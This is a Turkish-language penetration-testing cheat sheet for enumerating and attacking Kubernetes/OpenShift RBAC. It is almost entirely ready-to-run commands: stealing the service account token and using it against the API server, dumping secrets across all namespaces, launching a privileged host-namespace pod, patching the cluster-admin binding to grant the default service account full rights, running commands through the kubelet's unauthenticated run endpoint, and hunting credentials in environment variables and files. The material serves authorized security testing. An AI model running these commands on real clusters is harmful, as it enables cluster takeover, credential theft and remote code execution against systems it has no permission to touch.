Kubernetes Role-Based Access Control(RBAC)
K8s enum
Kubernetes Role-Based Access Control(RBAC) — Kubernetes / OpenShift ortamında kaynak envanteri ve izin yüzeyi keşfi notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Çağıran kimliği ve etkili izinleri netleştir.
-
Servise özel kaynak envanteri çıkar (liste + describe).
-
Secret, trust policy ve yazma yüzeyi adaylarını işaretle.
-
Bir sonraki privesc / veri / RCE hipotezini kilitle.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
kubectl config current-contextkubectl auth can-i --listcat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | cut -c1-40Hedef komutlar
Section titled “Hedef komutlar”Kubernetes Role-Based Access Control(RBAC) için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
cat /var/run/secrets/kubernetes.io/serviceaccount/tokenTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaceskubectl get secrets -A -o json | jq -r '.items[].data | keys[]' | sort -ukubectl create -f evil-pod.yamlkubectl exec -it POD -n NS -- /bin/shkubectl run pwn --image=alpine -i --tty --rm --overrides='{"spec":{"hostNetwork":true,"hostPID":true,"containers":[{"name":"c","image":"alpine","securityContext":{"privileged":true},"command":["sleep","3600"]}]}}'kubectl patch clusterrolebinding cluster-admin --type='json' -p='[{"op":"add","path":"/subjects/-","value":{"kind":"ServiceAccount","name":"default","namespace":"default"}}]'curl -k https://$NODE:10250/runningpods/curl -k -X POST https://$NODE:10250/run/NS/POD/CONTAINER -d 'cmd=id'kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurationskubectl get networkpolicies -Akubectl get scc 2>/dev/null || oc get sccSecret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40kubectl get secrets -A -o json | jq -r '.items[] | select(.data!=null) | .metadata.namespace + "/" + .metadata.name'Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txtEk komutlar
Section titled “Ek komutlar”kubectl auth can-i --listkubectl auth can-i create pods --all-namespaceskubectl auth can-i get secrets --all-namespaceskubectl auth can-i create clusterrolebindingkubectl get nskubectl get pods,sa,secrets,roles,rolebindings -Akubectl get clusterroles,clusterrolebindingskubectl get pods -A -o jsonpath='{.items[*].spec.serviceAccountName}'